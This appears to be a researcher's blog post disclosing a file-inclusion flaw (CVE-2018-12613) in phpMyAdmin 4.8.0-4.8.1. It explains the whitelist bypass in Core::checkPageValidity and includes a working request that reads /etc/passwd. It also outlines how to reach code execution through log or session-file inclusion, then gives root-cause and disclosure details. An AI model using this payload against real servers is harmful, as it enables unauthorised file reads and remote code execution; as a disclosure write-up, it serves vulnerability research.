129 Followers
·
Follow

PHPMyAdmin 4.8.0 ~ 4.8.1 Remote Code Execution

TL;DR

I discovered a file inclusion vulnerability in index.php from PMA 4.8.0 ~ 4.8.1, and it is assigned CVE-2018–12613. It is caused by a validation bypass in the vulnerable path checking function Core::checkPageValidity. This vulnerability enables an authenticated remote attacker to execute arbitrary PHP code on the server.

Vulnerability Explained

There is a file inclusion in index.php:

if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
// ...

This include used to be properly protected by the conditions in the if statement, but in the 4.8.0 release, the last check is changed to reuse the existing function, Core::checkPageValidity, which (I think) is meant to check URL paths. Hence we can exploit URL features to reach arbitrary file inclusion. The function goes like:

public static function checkPageValidity(&$page, array $whitelist = [])
{
// ...
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
// $whitelist == array('db_datadict.php', 'sql.php', ...)
if (in_array($_page, $whitelist)) {
return true;
}
// ...
return false;
}

The function strips everything behind ? from $page (everything behind ? is a query string, which is not part of the URL path), and checks if it is in the whitelist. The whitelist looks like:'db_datadict.php', 'sql.php', ....

Attack

Now, since we have complete control over $page, which comes directly from $_REQUEST['target'], we can set it to:

$page = 'sql.php?/../../../etc/passwd'

The function then performs its checks:

After passing the check, back to index.php:

include $_REQUEST['target'];

It includes the non-stripped version, bingo!

So the whole exploit goes:

GET /index.php?target=sql.php%3f/../../etc/passwd

Ideas for Exploit Writing

To write an exploit, you can enumerate file paths like:

Once you locate the number of ..s you have to prepend, you can inject your php payload into access log, or run a query like SELECT ‘<?php phpinfo();?>' in sql.php and include your own session file (e.g. /var/lib/php5/sess_<PHPSESSID>), which contains your SQL query, to execute arbitrary PHP code.

Root Cause: Inconsistency

The root cause is the inconsistency between the checked path and the actual path for inclusion. The checked path should be used AS the actual path for inclusion, otherwise the check function might be bypassed or exploited.

This kind of inconsistency is a common pattern in various web vulnerabilities, as pointed out by orange in his epic talk on SSRF bypassing in Blackhat 2017.

Disclosure

I reported this vulnerability to SSD, and they went through the whole responsible disclosure process with phpmyadmin, many thanks to them!!

Bug Clash

Interestingly, ChaMd5 found the same vulnerability almost at the same time, and they wrote a pretty good write-up, too!

Reference

Written by

Into programming, bug hunting

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store